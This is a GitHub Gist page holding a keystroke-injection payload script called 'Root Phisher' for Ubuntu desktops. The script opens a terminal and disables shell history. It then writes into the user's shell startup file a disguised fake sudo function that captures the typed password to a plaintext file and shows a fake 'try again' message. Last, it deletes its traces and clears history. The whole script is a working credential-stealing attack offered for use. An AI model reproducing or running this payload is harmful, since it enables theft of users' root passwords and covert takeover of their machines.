Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Root Phisher
REM Title: Root Phisher
REM Target: Ubuntu Desktop >= 11.04
REM Last Modified: July 4, 2017
REM Author: Vi Grey
REM Copyright: BSD 2-Clause License
DELAY 1000
CTRL-ALT t
DELAY 1000
STRING a=$HISTFILE;unset HISTFILE
ENTER
STRING h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s
ENTER
STRING sed -i -n /HISTFILE/\!p $a;history -c;exit
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.